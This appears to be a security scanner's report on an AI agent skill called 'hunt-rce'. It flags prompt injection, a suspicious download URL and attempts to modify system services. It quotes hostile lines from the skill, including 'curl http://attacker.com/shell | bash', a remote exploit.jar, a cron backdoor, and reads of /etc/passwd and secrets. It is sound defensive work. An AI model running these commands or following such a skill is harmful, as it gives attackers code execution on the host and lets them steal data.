hunt-rce

CRITICAL E004: Prompt injection detected in skill instructions.

• Potential prompt injection detected (critical risk: 1.00). The document provides detailed, actionable exploit instructions, payloads, and commands to achieve remote code execution, data exfiltration, and persistence (e.g., cron backdoors, dependency-confusion packages and OOB callbacks), which is clearly malicious guidance.

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (critical risk: 1.00). The skill includes explicit exploit payloads that load and execute remote code from attacker-controlled URLs (e.g. "http://attacker.com/exploit.jar" and "curl http://attacker.com/shell | bash"), demonstrating operational download-and-execute instructions pointing to a malicious host.

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 0.90). This skill explicitly instructs writing to privileged filesystem locations (e.g., /etc/cron.d/backdoor), reading sensitive local files (e.g., /etc/passwd, /var/run/secrets/...), and using commands that would require elevated privileges — actions that can modify or compromise the host the agent runs on.